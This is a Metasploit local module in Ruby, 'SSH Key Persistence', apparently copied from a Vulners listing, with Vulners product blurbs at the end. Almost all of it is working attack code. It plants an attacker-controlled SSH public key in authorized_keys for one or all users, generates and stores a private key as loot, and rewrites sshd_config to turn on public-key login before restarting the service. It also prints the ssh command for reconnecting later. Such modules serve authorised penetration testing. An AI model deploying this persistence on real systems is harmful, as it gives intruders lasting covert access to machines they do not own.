##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sshkey'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Post::Windows::UserProfiles
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'post/linux/manage/sshkey_persistence'
moved_from 'post/windows/manage/sshkey_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SSH Key Persistence',
'Description' => %q{
This module will add an SSH key to a specified user (or all), to allow
remote login via SSH at any time. No payload is required for this module to work.
If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.
The private key will be stored as loot for later use.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <[email protected]>', # linux
'Dean Welch <dean_welch[at]rapid7.com>' # windows
],
'Platform' => %w[linux unix win], # this must be defined despite the module not using a payload
'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload
'SessionTypes' => [ 'meterpreter', 'shell' ],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'],
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'],
['URL', 'https://stackoverflow.com/a/50502015']
],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Passive' => false,
'DefaultOptions' => {
'DisablePayloadHandler' => true, # since this is non-traditional persistence in that it isn't traditional event driven
'PAYLOAD' => 'payload/generic/custom' # dummy payload to avoid issues
},
'DisclosureDate' => '1995-07-01', # ssh first release
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
OptPath.new('PUBKEY', [false, 'Path to Public Key File to use. (Default: Create a new one)' ]),
OptString.new('SSHD_CONFIG', [false, 'sshd_config file']),
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for the target user', false ])
])
deregister_options('WritableDir')
deregister_options('PAYLOAD')
end
def check
return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file)
enabled = pubkey_enabled?
if enabled.nil?
print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues')
elsif enabled == false
return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled")
end
CheckCode::Appears('Likely vulnerable')
end
def sshd_config_file
return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty?
if session.platform == 'windows'
'C:\ProgramData\ssh\sshd_config'
else # assume *nix
'/etc/ssh/sshd_config'
end
end
def target_admin_user?
!datastore['USERNAME'].nil? && ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)
end
def set_pub_key_file_permissions(file, username = nil)
if session.platform == 'windows'
return unless target_admin_user?
cmd_exec("icacls #{file} /inheritance:r")
cmd_exec("icacls #{file} /grant SYSTEM:(F)")
cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
else
chmod(file, 0o600)
unless username.nil?
cmd_exec("chown #{username}:#{username} #{file}")
end
end
end
def windows_service_owner
service_info = cmd_exec('sc qc sshd')
/SERVICE_START_NAME\s+: (?<owner>.+)/ =~ service_info
owner
end
def write_key(paths, auth_key_file, sep)
if datastore['PUBKEY'].nil?
key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41
our_pub_key = key.ssh_public_key
private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
print_good("Storing new private key as #{private_key_path}. Change the permissions to 600 before using it")
else
our_pub_key = ::File.read(datastore['PUBKEY'])
end
paths.each do |path|
path.chomp!
authorized_keys = "#{path}#{sep}#{auth_key_file}"
next unless file?(authorized_keys)
# make a backup of the authorized_keys file so we can add it to the restore rc
auth_keys_backup = read_file(authorized_keys)
loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File')
@clean_up_rc << "upload #{loot_path} #{authorized_keys}\n"
# start exploiting
print_status("Adding key to #{authorized_keys}")
append_file(authorized_keys, "\n#{our_pub_key}")
set_pub_key_file_permissions(authorized_keys)
print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} <username>@#{session.session_host}'"
print_good 'use auxiliary/scanner/ssh/ssh_login'
print_good " run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=<username>"
next unless datastore['PUBKEY'].nil?
path_array = path.split(sep)
path_array.pop
user = path_array.pop
credential_data = {
origin_type: :session,
session_id: session.db_record ? session.db_record.id : nil,
post_reference_name: refname,
private_type: :ssh_key,
private_data: key.private_key.to_s,
username: user,
workspace_id: myworkspace_id
}
create_credential(credential_data)
end
end
def pubkey_enabled?
print_status('Checking SSH Permissions')
if session.platform != 'windows' && !readable?(sshd_config_file)
return nil
end
sshd_config = read_file(sshd_config_file)
return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors
if /^#?\s*PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
# If the line exists, check if it's commented or explicitly "no"
if sshd_config =~ /^#\s*PubkeyAuthentication/ || pub_key == 'no'
print_error('Pubkey Authentication disabled')
enable_pub_key_auth(sshd_config)
if read_file(sshd_config_file) == sshd_config
print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication')
return false
else
print_good('PubkeyAuthentication enabled successfully')
end
else
vprint_good("Pubkey set to #{pub_key}")
end
else
# No PubkeyAuthentication line found at all — treat as disabled
print_error('Pubkey Authentication not found, assuming disabled')
enable_pub_key_auth(sshd_config)
end
# also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info
if session.platform == 'windows' && sshd_config !~ /^(\s*#)\s*(Match Group administrators|AuthorizedKeysFile)/ && !target_admin_user?
fail_with(Failure::BadConfig, "Admin AuthorizedKeysFile enabled, please 'set username admin' to use this module")
end
true
end
def enable_pub_key_auth(sshd_config)
vprint_status('Attempting to enable pubkey authentication in sshd_config')
loot_path = store_loot('sshd_config', 'text/plain', session, sshd_config, 'sshd_config', 'SSH Server Configuration')
@clean_up_rc << "upload #{loot_path} #{sshd_config_file}\n"
sshd_config = sshd_config.sub(/^\s*#?\s*PubkeyAuthentication\s+.*/i, 'PubkeyAuthentication yes')
write_file(sshd_config_file, sshd_config)
if session.platform == 'windows'
cmd_exec('net stop "OpenSSH SSH Server"')
cmd_exec('net start "OpenSSH SSH Server"')
else
cmd_exec('systemctl restart sshd || service sshd restart || service ssh restart')
end
end
def authorized_keys_file
print_status('Determining authorized_keys file')
if session.platform == 'windows' && target_admin_user?
return 'administrators_authorized_keys'
end
if session.platform != 'windows' && !readable?(sshd_config_file)
return nil
end
sshd_config = read_file(sshd_config_file)
return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn't supported
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
if auth_key_file
auth_key_file = auth_key_file.gsub('%h', '')
auth_key_file = auth_key_file.gsub('%%', '%')
if auth_key_file.start_with? '/'
auth_key_file = auth_key_file[1..]
end
else
auth_key_file = ".ssh#{sep}authorized_keys"
end
print_status("Authorized Keys File: #{auth_key_file}")
auth_key_file
end
def sep
if session.type == 'meterpreter'
return session.fs.file.separator
elsif session.platform == 'windows'
return '\\'
end
return '/'
end
def find_user_folders(auth_key_folder)
paths = []
# all users
if datastore['USERNAME'].nil?
if session.platform == 'windows'
paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" }
else # assume *nix
paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" }
end
# admin user
elsif target_admin_user?
if session.platform == 'windows'
paths = ['C:\ProgramData\ssh']
else # assume *nix
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
end
# specific user
elsif session.platform == 'windows'
user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] }
if user_profile
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
else
print_error("User #{datastore['USERNAME']} not found")
end
else # assume *nix
user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] }
if user_profile
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
else
print_error("User #{datastore['USERNAME']} not found")
end
end
paths.map! { |p| p.delete("\r\n") }
paths
end
def install_persistence
auth_key_file = authorized_keys_file
unless auth_key_file
print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys')
auth_key_file = ".ssh#{sep}authorized_keys"
end
# ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here
auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep)
auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last
home_folders = find_user_folders(auth_key_folder)
vprint_status("Found #{home_folders.length} potential user folders")
# double check all the folders and files exist that we need
home_folders = home_folders.select do |d|
authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}"
d_exists = directory?(d)
if !d_exists && !datastore['CREATESSHFOLDER']
print_warning("No .ssh folder found for #{d}, skipping...")
false
elsif !d_exists
if session.platform == 'windows'
session.fs.dir.mkdir(d)
else
cmd_exec("mkdir -m 700 -p #{d}")
cmd_exec("chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}")
end
@clean_up_rc << "rmdir #{d}\n"
end
f_exists = file?(authorized_keys_path)
if !f_exists && !datastore['CREATESSHFOLDER']
print_warning("No #{authorized_keys_path} file found, skipping...")
false
elsif !f_exists
unless write_file(authorized_keys_path, '')
print_warning("Unable to create #{authorized_keys_path}, skipping...")
false
end
if session.platform == 'windows'
set_pub_key_file_permissions(authorized_keys_path)
else
set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2])
end
end
true
end
vprint_status("Found #{home_folders.length} confirmed user folders")
if home_folders.nil? || home_folders.empty?
fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.")
end
write_key(home_folders, auth_key_file, sep)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation